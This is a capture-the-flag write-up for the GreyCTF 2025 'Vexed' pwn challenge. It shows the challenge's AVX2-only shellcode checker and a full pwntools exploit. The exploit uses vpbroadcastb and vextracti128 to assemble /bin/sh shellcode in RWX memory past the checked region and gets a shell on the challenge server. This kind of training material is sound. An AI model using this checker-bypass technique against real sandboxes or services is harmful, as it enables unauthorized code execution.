Vexed - Pwn Challenge GreyCTF 2025
Summary
Discover constraints need us to utilize only AVX2 specific instructions –> Customize the script and run it locally for debugging purposes –> learn avx2 programming and how the x/y/zmm0-15 registers work –> modify data in front of rip to resemble /bin/sh shellcode –> grey{vexed,VEXed_i_tell_you!}
Initial steps
Up until today I had no idea how AVX extensions worked. So I decided to tackle this challenge and learned a lot in the process. The first step in doing this challenge is examining what we’re given, a server.py file. Strange for a pwn challenge, I’ve made it more debug friendly and attached it below:
#!/usr/bin/env python3
import mmap
import ctypes
import base64
from capstone import Cs, CS_ARCH_X86, CS_MODE_64
from capstone.x86 import X86_GRP_AVX2
# Colors for syntax highlighting
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def check(code: bytes) -> bool:
if len(code) > 0x300:
return False
md = Cs(CS_ARCH_X86, CS_MODE_64)
md.detail = True
for insn in md.disasm(code, 0):
# Check if instruction is AVX2
# ============= Added by me
#print("0x%x:\t%s\t%s" %(insn.address, insn.mnemonic, insn.op_str))
print(f"0x{insn.address}: {bcolors.OKCYAN}{insn.mnemonic}{bcolors.ENDC}, {bcolors.WARNING}{insn.op_str}{bcolors.ENDC}")
# =============
print(f"{bcolors.HEADER}X86_GRP_AVX2 = {X86_GRP_AVX2}{bcolors.ENDC}", end=' ')
print(f"Groups: {insn.groups}")
if not (X86_GRP_AVX2 in insn.groups):
# ============= Added by me
print("AVX2 ONLY!")
# =============
raise ValueError("AVX2 Only!")
name = insn.insn_name()
# No reading memory
if "mov" in name.lower():
# Added by me
print("NO MOVS!")
raise ValueError("No movs!")
return True
def run(code: bytes):
# Allocate executable memory using mmap
mem = mmap.mmap(-1, len(code), prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
mem.write(code)
# Create function pointer and execute
func = ctypes.CFUNCTYPE(ctypes.c_void_p)(ctypes.addressof(ctypes.c_char.from_buffer(mem)))
func()
exit(1)
def main():
code = input("Shellcode (base64 encoded): ")
try:
code = base64.b64decode(code.encode())
if check(code):
run(code)
except Exception as e:
print("Exception type :", type(e)) # <class 'ValueError'>, <class 'KeyError'>, …
print("Exception text :", e) # the message passed to ValueError(...)
print("Invalid base64!")
exit(1)
if __name__ == "__main__":
main()
It’s just a shellcode challenge, but not quite, as we’re only allowed AVX2 instructions and they mnemonic must not contain “mov”. At this point I fell into a bit of a rabbit hole about learning how AVX2 works, and feeling lost I started querying chatGPT for common ways to load data without “mov”-containing mnemonics, as well as finding this awesome documentation on all the opcodes x86(64) has to offer with all it’s extensions.
Plan
So our plan will be to take this well known shellcode and place it into memory right in front of RIP, only using AVX2 instructions. Because the program does not change the permissions of the page it allocated from rwx -> r-x, we can modify our code at runtime and bypass all checks.
Breakthrough
After looking around for several hours, I’ve discovered that I can move a single byte of my choosing from memory using vpbroadcastb. This opcode basically fills a given ymmX register with the byte pointed to by the second operand. Pretty neat, but where do we get our desired bytes from? Well I also discovered that encoding an opcode like vpbroadcastb ymm0, [rip + 0x31], we get 0x31 in memory, and can just reference this byte using a relative RIP offset.
Now all we need is a way to reliably write where we need. After a little more time I’ve also discovered this can be achieved using the vextracti128 instruction, which copies the first 16 bytes of our register into memory. Armed with these two and a debugger, we can locally debug our payload and adjust it fittingly such as the moment the program runs out of our AVX2 instructions, which we’re checked and accounted for by the program, RIP jumps to our shellcode which we’ve built right next to our AVX2 code. This code is unchecked and hence flies right under the radar:
Final Exploit
#!/usr/bin/python3
from pwn import context, remote, asm, log, pause
import base64
context.arch = 'amd64'
p = remote("challs.nusgreyhats.org", 33101)
#p = remote("127.0.0.1", 1337)
def main():
sc = asm('''
vpbroadcastb ymm0, [rip + 0x31]
vpbroadcastb ymm0, [rip + 0xf6]
vpbroadcastb ymm0, [rip + 0x56]
vpbroadcastb ymm0, [rip + 0x48]
vpbroadcastb ymm0, [rip + 0xbf]
vpbroadcastb ymm0, [rip + 0x2f]
vpbroadcastb ymm0, [rip + 0x62]
vpbroadcastb ymm0, [rip + 0x69]
vpbroadcastb ymm0, [rip + 0x6e]
vpbroadcastb ymm0, [rip + 0x2f]
vpbroadcastb ymm0, [rip + 0x2f]
vpbroadcastb ymm0, [rip + 0x73]
vpbroadcastb ymm0, [rip + 0x68]
vpbroadcastb ymm0, [rip + 0x57]
vpbroadcastb ymm0, [rip + 0x54]
vpbroadcastb ymm0, [rip + 0x5f]
vpbroadcastb ymm0, [rip + 0x6a]
vpbroadcastb ymm0, [rip + 0x3b]
vpbroadcastb ymm0, [rip + 0x58]
vpbroadcastb ymm0, [rip + 0x99]
vpbroadcastb ymm0, [rip + 0x0f]
vpbroadcastb ymm0, [rip + 0x05]
vpbroadcastb ymm0, [rip + 0x05]
vpxor ymm0, ymm0, ymm0
vpbroadcastb ymm0, [rip - 0xd7]
vpbroadcastb ymm1, [rip - 0xd7]
vpbroadcastb ymm2, [rip - 0xd7]
vpbroadcastb ymm3, [rip - 0xd7]
vpbroadcastb ymm4, [rip - 0xd7]
vpbroadcastb ymm5, [rip - 0xd7]
vpbroadcastb ymm6, [rip - 0xd7]
vpbroadcastb ymm7, [rip - 0xd7]
vpbroadcastb ymm8, [rip - 0xd7]
vpbroadcastb ymm9, [rip - 0xd7]
vpbroadcastb ymm10, [rip - 0xd7]
vpbroadcastb ymm11, [rip - 0xd7]
vpbroadcastb ymm12, [rip - 0xd7]
vpbroadcastb ymm13, [rip - 0xd7]
vpbroadcastb ymm14, [rip - 0xd7]
vpbroadcastb ymm15, [rip - 0xd7]
vextracti128 [rip + 0x11b], ymm0, 0
vextracti128 [rip + 0x112], ymm1, 0
vextracti128 [rip + 0x109], ymm2, 0
vextracti128 [rip + 0x100], ymm3, 0
vextracti128 [rip + 0xf7], ymm4, 0
vextracti128 [rip + 0xee], ymm5, 0
vextracti128 [rip + 0xe5], ymm6, 0
vextracti128 [rip + 0xdc], ymm7, 0
vextracti128 [rip + 0xd3], ymm8, 0
vextracti128 [rip + 0xca], ymm9, 0
vextracti128 [rip + 0xc1], ymm10, 0
vextracti128 [rip + 0xb8], ymm11, 0
vextracti128 [rip + 0xaf], ymm12, 0
vextracti128 [rip + 0xa6], ymm13, 0
vextracti128 [rip + 0x9d], ymm14, 0
vextracti128 [rip + 0x94], ymm15, 0
vpbroadcastb ymm0, [rip - 0x177]
vpbroadcastb ymm1, [rip - 0x177]
vpbroadcastb ymm2, [rip - 0x177]
vpbroadcastb ymm3, [rip - 0x177]
vpbroadcastb ymm4, [rip - 0x177]
vpbroadcastb ymm5, [rip - 0x177]
vpbroadcastb ymm6, [rip - 0x177]
vextracti128 [rip + 0x4c], ymm0, 0
vextracti128 [rip + 0x43], ymm1, 0
vextracti128 [rip + 0x3a], ymm2, 0
vextracti128 [rip + 0x31], ymm3, 0
vextracti128 [rip + 0x28], ymm4, 0
vextracti128 [rip + 0x1f], ymm5, 0
vextracti128 [rip + 0x16], ymm6, 0
''')
encoded = base64.b64encode(sc)
log.info(f"Sending b64 encoded shellcode: {encoded}")
pause()
p.sendlineafter(b'):', encoded)
p.interactive()
if __name__ == '__main__':
main()